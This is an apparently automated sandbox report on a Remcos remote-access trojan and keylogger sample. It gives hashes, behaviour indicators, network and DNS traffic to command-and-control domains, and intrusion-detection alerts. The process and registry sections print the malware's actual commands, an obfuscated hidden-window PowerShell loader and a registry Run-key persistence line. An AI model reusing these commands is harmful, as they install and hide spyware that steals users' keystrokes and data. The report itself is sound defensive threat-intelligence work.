Malware analysis 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe Malicious activity

Add for printing

File name:	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe
Full analysis:	https://app.any.run/tasks/3dac3635-0f60-4912-a575-a60361a2f455
Verdict:	Malicious activity
Threats:	A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Remcos is a commercially distributed remote administration and surveillance tool that has been widely observed in unauthorized deployments, where threat actors use it to perform remote actions on compromised machines. It is actively maintained by its vendor, with new versions and feature updates released on a frequent, near-monthly basis. Remcos ist eine Malware vom Typ RAT, mit der Angreifer aus der Ferne Aktionen auf infizierten Computern durchführen können. Diese Malware ist extrem aktiv und wird fast jeden Monat mit Updates auf den neuesten Stand gebracht. Malware Trends Tracker >>>
Analysis date:	May 06, 2024, 11:15:50
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	rat remcos evasion keylogger
Indicators:
MIME:	application/x-dosexec
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5:	AEA1734F0F47AD1BD4BE38ED8AA381D3
SHA1:	B98819322BD2448972F28703E9ABEF734D679292
SHA256:	0159563D865827167AABBD08BB46D6E417824038C3DA287D86E9685F09B4F503
SSDEEP:	12288:y9jeVVV4DVVUQ5XjKsjGaB0IryONBd0j5WZDoMaf5K9TvQn6sla8pJNi:ZQ5Xesjj0OTNBdo5WZDSY9TvQnPl/3o

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Add for printing

MALICIOUS
- Run PowerShell with an invisible window
  - powershell.exe (PID: 6284)
- Drops the executable file immediately after the start
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
- Changes the autorun value in the registry
  - reg.exe (PID: 4716)
- REMCOS has been detected
  - wab.exe (PID: 7040)
- Connects to the CnC server
  - wab.exe (PID: 7040)
- REMCOS has been detected (SURICATA)
  - wab.exe (PID: 7040)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - powershell.exe (PID: 6284)
  - wab.exe (PID: 7040)
- Starts POWERSHELL.EXE for commands execution
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
- Converts a specified value to a byte (POWERSHELL)
  - powershell.exe (PID: 6284)
- Converts a string into array of characters (POWERSHELL)
  - powershell.exe (PID: 6284)
- Evaluates numerical expressions in cmd (potential data obfuscation)
  - powershell.exe (PID: 6284)
- Creates file in the systems drive root
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
- Gets information about processes (POWERSHELL)
  - powershell.exe (PID: 6284)
- Reads security settings of Internet Explorer
  - wab.exe (PID: 7040)
- Uses REG/REGEDIT.EXE to modify registry
  - cmd.exe (PID: 1112)
- Checks Windows Trust Settings
  - wab.exe (PID: 7040)
- Contacting a server suspected of hosting an CnC
  - wab.exe (PID: 7040)
- Device Retrieving External IP Address Detected
  - wab.exe (PID: 7040)
- Reads the date of Windows installation
  - wab.exe (PID: 7040)
- Connects to unusual port
  - wab.exe (PID: 7040)
- Writes files like Keylogger logs
  - wab.exe (PID: 7040)
INFO
- Gets data length (POWERSHELL)
  - powershell.exe (PID: 6284)
- Reads the computer name
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
  - wab.exe (PID: 7040)
- Create files in a temporary directory
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
- Checks supported languages
  - 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe (PID: 6252)
  - wab.exe (PID: 7040)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 6284)
- Converts byte array into ASCII string (POWERSHELL)
  - powershell.exe (PID: 6284)
- Checks whether the specified file exists (POWERSHELL)
  - powershell.exe (PID: 6284)
- Uses string split method (POWERSHELL)
  - powershell.exe (PID: 6284)
- Process checks computer location settings
  - wab.exe (PID: 7040)
- Checks proxy server information
  - wab.exe (PID: 7040)
- Reads the machine GUID from the registry
  - wab.exe (PID: 7040)
- Creates files or folders in the user directory
  - wab.exe (PID: 7040)
- Reads the software policy settings
  - wab.exe (PID: 7040)
  - slui.exe (PID: 6188)
- Reads Environment values
  - wab.exe (PID: 7040)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (67.4)
.dll	\|	Win32 Dynamic Link Library (generic) (14.2)
.exe	\|	Win32 Executable (generic) (9.7)
.exe	\|	Generic Win/DOS Executable (4.3)
.exe	\|	DOS Executable Generic (4.3)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2023:07:02 02:09:39+00:00
ImageFileCharacteristics:	No relocs, Executable, No line numbers, No symbols, 32-bit
PEType:	PE32
LinkerVersion:	6
CodeSize:	26112
InitializedDataSize:	139776
UninitializedDataSize:	2048
EntryPoint:	0x34fc
OSVersion:	4
ImageVersion:	6
SubsystemVersion:	4
Subsystem:	Windows GUI
FileVersionNumber:	2.1.0.0
ProductVersionNumber:	2.1.0.0
FileFlagsMask:	0x0000
FileFlags:	(none)
FileOS:	Win32
ObjectFileType:	Executable application
FileSubtype:	-
LanguageCode:	English (U.S.)
CharacterSet:	Unicode
Comments:	glossolaryngeal hangee iscenestte
FileDescription:	udvejer
LegalCopyright:	saarskorpen xenomi antispiritualism
ProductName:	afsgningerne takketalernes
ProductVersion:	2.1.0.0

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

137

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1112

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\Udladere1\').Armaekorpsene;%Praepostorial% ($Pyrans)"

C:\Windows\SysWOW64\cmd.exe

—

wab.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll

3728

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

4620

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4716

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\Udladere1\').Armaekorpsene;%Praepostorial% ($Pyrans)"

C:\Windows\SysWOW64\reg.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Registry Console Tool

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll

5824

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

6188

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

6216

C:\Users\admin\AppData\Local\Microsoft\OneDrive\19.043.0304.0013\FileCoAuth.exe -Embedding

C:\Users\admin\AppData\Local\Microsoft\OneDrive\19.043.0304.0013\FileCoAuth.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft OneDriveFile Co-Authoring Executable

Exit code:

Version:

19.043.0304.0013

Modules

Images
c:\users\admin\appdata\local\microsoft\onedrive\19.043.0304.0013\filecoauth.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll

6252

"C:\Users\admin\AppData\Local\Temp\0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe"

C:\Users\admin\AppData\Local\Temp\0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe

—

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Description:

udvejer

Exit code:

Modules

Images
c:\users\admin\appdata\local\temp\0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll

6284

"powershell.exe" -windowstyle hidden "$Ladykins=Get-Content 'C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\gastrogenital.Fel';$Stonecraft=$Ladykins.SubString(49937,3);.$Stonecraft($Ladykins)"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

—

0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll

6292

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

Add for printing

Total events

11 453

Read events

11 432

Write events

Delete events

Modification events


(PID) Process:	(6252) 0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	Key:	HKEY_CURRENT_USER\Unblemished\sultanats
Operation:	write	Name:	groomsman
Value: %tsarismen%\smokish.per
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\Udladere1
Operation:	write	Name:	Armaekorpsene
Value: $Ladykins=Get-Content 'C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\gastrogenital.Fel';$Stonecraft=$Ladykins.SubString(49937,3);.$Stonecraft($Ladykins)
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	ProxyBypass
Value: 1
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	IntranetName
Value: 1
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 1
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 0
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\Environment
Operation:	write	Name:	Praepostorial
Value: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
(PID) Process:	(4716) reg.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:	write	Name:	Startup key
Value: %Praepostorial% -windowstyle minimized $Pyrans=(Get-ItemProperty -Path 'HKCU:\Udladere1\').Armaekorpsene;%Praepostorial% ($Pyrans)
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\jmofvnb-6GMGJI
Operation:	write	Name:	exepath
Value: 5723A93A7494EA78B2EC3F98085025AE4C4B6F13BA38A36922B9F87FD1F26AB28512284FDCD57C09F4C049A420DFD5CB3E372242BA1B077E5EAE90953C53DE437BAE081C6FA2150C236114CF7B8EAA08CF9C0CBB42E39699
(PID) Process:	(7040) wab.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\jmofvnb-6GMGJI
Operation:	write	Name:	licence
Value: 886BC4600CCA505DB85B1A88C2EACC36

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6284	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_v40cch4w.s5d.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\gastrogenital.Fel		text
		MD5:0E27E41F7833025C5F36C13A44912FE2	SHA256:3B4BD25D1FB05FFE539DB5E8FC7FDCF8233A99F2416C8EA0B06C948148C7E04C
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Overpinching230\mortgager.bun		binary
		MD5:EA012CFB9EB2A9517E4C0319D87686D4	SHA256:A253C5710A1D2287392890A12E8F5A8166A8EF1B32982E793E02D794F22FE805
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Tiltnk\Lndstatistikker.Vis		binary
		MD5:C36231A71FFE5478F93CA455A28C5A01	SHA256:0D58B02F4CBF8BB043B2C75D82EB9E600AD6001D9F20725A9102E41CDDDD7D53
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Scheltopusik80\dkkenes\emballages.bes		binary
		MD5:8F1B7973E35940D74F9F24D67FBA9147	SHA256:1AF2CEA2A2BBF164097D8A75C3660E8735A41386CEF529A50ED183FE3AA4395F
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Scheltopusik80\dkkenes\demagnetises.txt		text
		MD5:75A201BEC689C59BABC32071EF3BCA08	SHA256:0935491A31C3C72915F1268930D20394F4B85652A14D0A5BE5CFB94949BF02BA
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Overpinching230\scrounge.boe		gmc
		MD5:42A594EAE98C325AC74152C61EE86D99	SHA256:C4CE86EFB1D5C4AA6E9C63E20D6838D2B1655A12EDCDF48B03427130D9E38152
6252	0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe	C:\Users\admin\AppData\Local\Temp\surturbrand\rrligeres\croquet\Scheltopusik80\dkkenes\dribbling.frn		binary
		MD5:11BBD9EEBFF648E4B669B94B4F299ED3	SHA256:A67C4AB406524B0F44F54301A7296FE366709A7A9AF046E3AC7D4C156E05E4C2
6284	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_d3uevzma.n0j.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7040	wab.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61		der
		MD5:5AE8478AF8DD6EEC7AD4EDF162DD3DF1	SHA256:FE42AC92EAE3B2850370B73C3691CCF394C23AB6133DE39F1697A6EBAC4BEDCA

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5592	svchost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	unknown
5004	svchost.exe	GET	200	23.200.189.225:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	unknown
7040	wab.exe	GET	200	23.220.113.51:80	http://x2.c.lencr.org/	unknown	—	—	unknown
712	SIHClient.exe	GET	200	23.200.189.225:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	unknown
712	SIHClient.exe	GET	200	23.200.189.225:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	unknown
6736	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D	unknown	—	—	unknown
7040	wab.exe	GET	200	178.237.33.50:80	http://geoplugin.net/json.gp	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
528	RUXIMICS.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	unknown
4	System	192.168.100.255:138	—	—	—	whitelisted
5140	MoUsoCoreWorker.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	unknown
4364	svchost.exe	239.255.255.250:1900	—	—	—	unknown
5004	svchost.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	unknown
5004	svchost.exe	23.200.189.225:80	www.microsoft.com	Moratelindo Internet Exchange Point	ID	unknown
5592	svchost.exe	40.126.32.138:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
5592	svchost.exe	192.229.221.95:80	—	EDGECAST	US	whitelisted
1032	svchost.exe	23.53.113.159:443	go.microsoft.com	AKAMAI-AS	US	unknown
7040	wab.exe	188.114.96.3:443	ricohltd.top	CLOUDFLARENET	NL	unknown

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	40.127.240.158 4.231.128.59	whitelisted
www.microsoft.com	23.200.189.225	whitelisted
login.live.com	40.126.32.138 20.190.160.14 40.126.32.72 40.126.32.136 20.190.160.20 20.190.160.22 40.126.32.76 40.126.32.133	whitelisted
go.microsoft.com	23.53.113.159	whitelisted
ricohltd.top	188.114.96.3 188.114.97.3	unknown
x2.c.lencr.org	23.220.113.51	whitelisted
learfo55ozj02.duckdns.org	193.222.96.21	unknown
geoplugin.net	178.237.33.50	malicious
slscr.update.microsoft.com	13.85.23.86	whitelisted
fe3cr.delivery.mp.microsoft.com	13.85.23.206	whitelisted

Threats

PID	Process	Class	Message
2184	svchost.exe	Potentially Bad Traffic	ET DNS Query to a *.top domain - Likely Hostile
2184	svchost.exe	Potentially Bad Traffic	ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2184	svchost.exe	Misc activity	ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
7040	wab.exe	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 37
7040	wab.exe	Malware Command and Control Activity Detected	ET MALWARE Remcos 3.x Unencrypted Checkin
7040	wab.exe	Malware Command and Control Activity Detected	ET MALWARE Remcos 3.x Unencrypted Server Response

1 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

0159563d865827167aabbd08bb46d6e417824038c3da287d86e9685f09b4f503.exe

AEA1734F0F47AD1BD4BE38ED8AA381D3

B98819322BD2448972F28703E9ABEF734D679292

0159563D865827167AABBD08BB46D6E417824038C3DA287D86E9685F09B4F503

12288:y9jeVVV4DVVUQ5XjKsjGaB0IryONBd0j5WZDoMaf5K9TvQn6sla8pJNi:ZQ5Xesjj0OTNBdo5WZDSY9TvQnPl/3o

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

Run PowerShell with an invisible window

Drops the executable file immediately after the start

Changes the autorun value in the registry

REMCOS has been detected

Connects to the CnC server

REMCOS has been detected (SURICATA)

SUSPICIOUS

Starts CMD.EXE for commands execution

Starts POWERSHELL.EXE for commands execution

Converts a specified value to a byte (POWERSHELL)

Converts a string into array of characters (POWERSHELL)

Evaluates numerical expressions in cmd (potential data obfuscation)

Creates file in the systems drive root

Gets information about processes (POWERSHELL)

Reads security settings of Internet Explorer

Uses REG/REGEDIT.EXE to modify registry

Checks Windows Trust Settings

Contacting a server suspected of hosting an CnC

Device Retrieving External IP Address Detected

Reads the date of Windows installation

Connects to unusual port

Writes files like Keylogger logs

INFO

Gets data length (POWERSHELL)

Reads the computer name

Create files in a temporary directory

Checks supported languages

Script raised an exception (POWERSHELL)

Converts byte array into ASCII string (POWERSHELL)

Checks whether the specified file exists (POWERSHELL)

Uses string split method (POWERSHELL)

Process checks computer location settings

Checks proxy server information

Reads the machine GUID from the registry

Creates files or folders in the user directory

Reads the software policy settings

Reads Environment values

Malware configuration

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events